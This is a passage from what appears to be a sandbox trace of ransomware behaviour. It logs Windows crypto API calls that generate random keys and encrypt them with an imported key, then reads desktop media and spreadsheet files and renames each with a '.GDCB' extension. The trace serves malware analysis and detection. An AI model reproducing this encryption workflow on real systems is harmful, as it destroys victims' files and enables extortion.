phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0136.684] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.684] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0136.684] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.684] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0136.686] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308a48) returned 1 [0136.686] CryptGetKeyParam (in: hKey=0x308a48, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.686] CryptEncrypt (in: hKey=0x308a48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0136.686] GetLastError () returned 0x0 [0136.686] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.686] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0136.688] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x308a88) returned 1 [0136.688] CryptGetKeyParam (in: hKey=0x308a88, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0136.688] CryptEncrypt (in: hKey=0x308a88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0136.688] GetLastError () returned 0x0 [0136.688] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.688] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\mxHA9QwX60.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\mxha9qwx60.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0136.689] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.689] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.689] ReadFile (in: hFile=0x4ec, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x107cb, lpOverlapped=0x0) returned 1 [0136.697] VirtualAlloc (lpAddress=0x0, dwSize=0x107d0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.702] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\mxHA9QwX60.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\mxha9qwx60.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0eErT0ljWw1qHv\\mxHA9QwX60.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0eert0ljww1qhv\\mxha9qwx60.mp4.gdcb")) returned 1 [0136.704] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecca0) returned 1 [0136.704] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.704] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.704] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.704] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0136.705] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.705] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.705] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.705] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.705] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.705] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0136.707] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308cc8) returned 1 [0136.707] CryptGetKeyParam (in: hKey=0x308cc8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.707] CryptEncrypt (in: hKey=0x308cc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.707] GetLastError () returned 0x0 [0136.707] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.707] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0136.709] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308ac8) returned 1 [0136.709] CryptGetKeyParam (in: hKey=0x308ac8, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.709] CryptEncrypt (in: hKey=0x308ac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.709] GetLastError () returned 0x0 [0136.709] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.709] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\210AtVavnZ- J.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\210atvavnz- j.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.709] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.710] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.710] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x11846, lpOverlapped=0x0) returned 1 [0136.719] VirtualAlloc (lpAddress=0x0, dwSize=0x11850, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.724] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\210AtVavnZ- J.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\210atvavnz- j.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\210AtVavnZ- J.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\210atvavnz- j.avi.gdcb")) returned 1 [0136.725] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.726] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.726] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.726] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.726] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.727] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.727] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.727] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.727] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.727] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0136.729] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308888) returned 1 [0136.729] CryptGetKeyParam (in: hKey=0x308888, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.729] CryptEncrypt (in: hKey=0x308888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.729] GetLastError () returned 0x0 [0136.729] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.729] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0136.731] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x2c7500) returned 1 [0136.731] CryptGetKeyParam (in: hKey=0x2c7500, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.731] CryptEncrypt (in: hKey=0x2c7500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.731] GetLastError () returned 0x0 [0136.731] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.731] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4wEn.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4wen.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.732] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.732] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.732] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0xfe7d, lpOverlapped=0x0) returned 1 [0136.740] VirtualAlloc (lpAddress=0x0, dwSize=0xfe80, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.745] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4wEn.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4wen.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\4wEn.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\4wen.jpg.gdcb")) returned 1 [0136.746] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0136.746] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.746] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.747] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.747] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.747] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.747] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.747] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.747] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.747] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.747] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0136.749] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x2c7600) returned 1 [0136.749] CryptGetKeyParam (in: hKey=0x2c7600, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.749] CryptEncrypt (in: hKey=0x2c7600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.749] GetLastError () returned 0x0 [0136.749] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0136.749] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0136.751] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x2c7900) returned 1 [0136.751] CryptGetKeyParam (in: hKey=0x2c7900, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.751] CryptEncrypt (in: hKey=0x2c7900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.751] GetLastError () returned 0x0 [0136.751] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.751] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\8Frf.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\8frf.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.751] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.752] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.752] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x3ad2, lpOverlapped=0x0) returned 1 [0136.761] VirtualAlloc (lpAddress=0x0, dwSize=0x3ae0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.770] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\8Frf.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\8frf.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\8Frf.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\8frf.flv.gdcb")) returned 1 [0136.771] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0136.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.772] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.772] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.772] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0136.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.772] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.772] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.772] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0136.774] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x2c7780) returned 1 [0136.774] CryptGetKeyParam (in: hKey=0x2c7780, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.774] CryptEncrypt (in: hKey=0x2c7780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.775] GetLastError () returned 0x0 [0136.775] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.775] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0136.776] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x2c7640) returned 1 [0136.776] CryptGetKeyParam (in: hKey=0x2c7640, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.776] CryptEncrypt (in: hKey=0x2c7640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.777] GetLastError () returned 0x0 [0136.777] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0136.777] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\8UW6wrCE2.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\8uw6wrce2.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.777] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.778] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.778] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x141e2, lpOverlapped=0x0) returned 1 [0136.787] VirtualAlloc (lpAddress=0x0, dwSize=0x141f0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.792] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\8UW6wrCE2.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\8uw6wrce2.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\8UW6wrCE2.xlsx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\8uw6wrce2.xlsx.gdcb")) returned 1 [0136.793] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0136.794] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.794] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.794] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0136.794] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.794] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0136.794] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.794] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.794] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0136.794] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.794] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0136.796] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x308b88) returned 1 [0136.796] CryptGetKeyParam (in: hKey=0x308b88, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.796] CryptEncrypt (in: hKey=0x308b88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0136.797] GetLastError () returned 0x0 [0136.797] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.797] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0136.798] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x2c76c0) returned 1 [0136.798] CryptGetKeyParam (in: hKey=0x2c76c0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0136.798] CryptEncrypt (in: hKey=0x2c76c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0136.799] GetLastError () returned 0x0 [0136.799] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0136.799] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\8ysUM-7H.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\8ysum-7h.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0136.799] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0136.799] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0136.799] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x108b4, lpOverlapped=0x0) returned 1 [0136.807] VirtualAlloc (lpAddress=0x0, dwSize=0x108c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0136.812] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\8ysUM-7H.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\8ysum-7h.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\8ysUM-7H.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\8ysum-7h.mkv.gdcb")) returned 1 [0136.813] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0136.813] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0136.813] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0136.813] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0136.815] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0136.815] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0136.815] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0136.815] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0136.815] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0136.815] 